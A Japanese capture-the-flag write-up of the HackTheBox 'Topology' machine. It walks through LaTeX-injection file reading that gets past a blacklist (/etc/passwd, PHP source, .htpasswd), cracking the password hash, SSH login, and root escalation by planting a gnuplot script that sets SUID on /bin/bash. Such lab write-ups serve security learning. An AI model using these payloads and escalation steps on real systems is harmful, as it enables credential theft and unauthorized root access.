【HackTheBox】Topology Writeup
Recon
nmap
┌──(kali㉿kali)-[~]
└─$ nmap -Pn 10.10.11.217
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Website
port80にはこんなサイトがありました。
Inspect Subdomains
LaTex Equation Generatorのリンクはhttp://latex.topology.htb/equation.php
と書いてあったので、このサブドメインを/etc/hosts
に追加します。
latex.topology.htb
はLeTexの画像を作成できるページでした。
submitすると生成された画像がこういうふうに出てきます。
fuzzingで他の2つのサブドメインも見つかったので、これらも/etc/hosts
に入れます。
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://topology.htb -H 'Host: FUZZ.topology.htb' -fs 6767
________________________________________________
dev [Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 936ms]
stats [Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 925ms]
dev.topology.htb
は認証がないと見れません。
stats.topology.htb
はサーバー負荷のモニタリングです。
latex.topology.htb
にアクセスすると、サーバー上のファイルが見れます。ファイルの中身を確認したいと思います。
┌──(kali㉿kali)-[~]
└─$ cat equationtest.log
This is pdfTeX, Version 3.14159265-2.6-1.40.20 (TeX Live 2019/Debian) (preloaded format=pdflatex 2022.2.15) 12 MAR 2022 08:48
entering extended mode
restricted \write18 enabled.
%&-line parsing enabled.
pdfTex version 3.14159265 exploit
で検索すると色々出てきました。
いい感じにpayloadを入れればLFIやRCEができたりするみたいです。試していきます。
LFI via LaTex
PayloadsAllTheThingsにあった\input{/etc/passwd}
を入れてみると、Illegal command detected
が出てきました。何かのチェックに引っかかったみたいです。(You might need to adjust injection with wrappers as \[ or $.
が書いてあったので$
を入れてみましたが、結果は同じでした)
$\lstinputlisting{/etc/passwd}$
を入れると/etc/passwd
が見れました。vdais1eyというユーザーがいます。
blacklist charactersが気になるので、equation.php
のソースコードを見てみます。$\lstinputlisting{/var/www/latex/equation.php}$
をsubmitすると生成されたpngにリダイレクトされなかったが、サーバー上のtmpfiles
フォルダーの中にソースコードが入っているpngとpdfファイルがありました。
<?php
//latex to png generator by daisley
//TODO:error handling
errorreporting(0);
if(empty($GET[’eqn’]))
{echo’…page content html’;}
else
{
$texinput=$GET[’eqn’];
#secure against common latex injections
$filterstrings=array(”\\begin”,”\\immediate”,”\\usepackage”,”\\input”,”\\write”,”\\loop”,”\\include”,”\\@”,”\\while”,”\\def”,”\\url”,”\\href”,”\\end”);
foreach($filterstringsas$filterstring){
if(stripos($texinput,$filterstring)!==FALSE){
$texinput=”\$Illegal Command Detected.Sorry.\$”;
break;
}
}
if(strlen($texinput)>=200){
$texinput=”\$Input Too Long.Sorry.\$”;
}
$errormsg=”Something Went Wrong.Sorry.”;
//texfile content,insert default header and user input
$texsource=”\\documentclass{standalone}
\\input{../header}
\\begin{document}
$”.$texinput.”$”.”\\end{document}”;
//create random file name
$fileid=uniqid(rand(),true);
$texfilename=”tempfiles/”.$fileid.”.tex”;
$texfile=fopen(”$texfilename”,”w”);
fputs($texfile,$texsource);
fclose($texfile);
chdir(dirname($texfilename));
exec(”pdflatex”.basename($texfilename).”>/dev/null2>&1”);
exec(”convert−density300”.$fileid.”.pdf”.”$fileid”.”.png>/dev/null2>&1”);
$fp=fopen($fileid.”.png”,’rb’);
header(”Content−Type:image/png”);
header(”Content−Length:”.filesize($fileid.”.png”));
fpassthru($fp);
//delete temp image and logs
fclose($fp);
exec(”rm−f”.$fileid.”.*”);
exec(”rm−f*.log”);
exit
}
元々はPayloadAllTheThingsに書いてあったRCEのコマンドを試したかったが、どれもblacklist通れなさそうです。RCEが難しそうなので、LFIをもうちょっと頑張った方がいい気がしてきました。
dev
サブドメインの.htpasswd
を読めばbasic認証の情報がわかるかもしれないので、みてみます。$\lstinputlisting{/var/www/dev/.htpasswd}$
でsubmitします。
vdaisleyのパスワードのhashがわかりました。
Hash cracking
┌──(kali㉿kali)-[~/topology]
└─$ echo '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > hash
┌──(kali㉿kali)-[~/topology]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
calculus20 (?)
パスワードがわかりました。
Shell as vdaisley
vdaisley:calculus20
でsshログインできました。user flagゲットできました。
pspy
linpeasを実行してみましたが、それっぽい情報がなかったのでpspyでプロセスを見てみます。
2023/10/29 03:05:25 CMD: UID=0 PID=1 | /sbin/init
2023/10/29 03:06:01 CMD: UID=0 PID=26211 | /usr/sbin/CRON -f
2023/10/29 03:06:01 CMD: UID=0 PID=26210 | /usr/sbin/CRON -f
2023/10/29 03:06:01 CMD: UID=0 PID=26212 | /bin/sh -c /opt/gnuplot/getdata.sh
2023/10/29 03:06:01 CMD: UID=0 PID=26213 | /bin/sh -c /opt/gnuplot/getdata.sh
2023/10/29 03:06:01 CMD: UID=0 PID=26218 | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;
ここらへんのgnuplot
が気になります。/opt/gnuplot/*.plt
を探してそのファイルを実行しているみたいです。
vdaisley@topology:/opt$ ls -la
total 12
drwxr-xr-x 3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx 2 root root 4096 Jun 14 07:45 gnuplot
/opt/gnuplot
のread権限はないが、write権限はあります。priv escのpayloadが入っている.plt
ファイルを作ればrootとして実行してくれそうです。
gnuplot system command execution
で調べてみます。system 'id'
みたいな感じでいけそうです。
ではbashにSUIDを設定します。少し待ったらSUIDが設定されました!
vdaisley@topology:/opt$ echo 'system "chmod 4777 /bin/bash"' > gnuplot/hack.plt
vdaisley@topology:/opt$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
vdaisley@topology:/opt$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1183448 Apr 18 2022 /bin/bash
Shell as root
vdaisley@topology:/opt$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
root flag取れました!
memo
最初はLaTexのblacklistをbypassするために色々実験しててかなり時間かかりました。やっと仕事が落ち着いたのでまたwriteup書くの継続できそうです、うれしい。
Discussion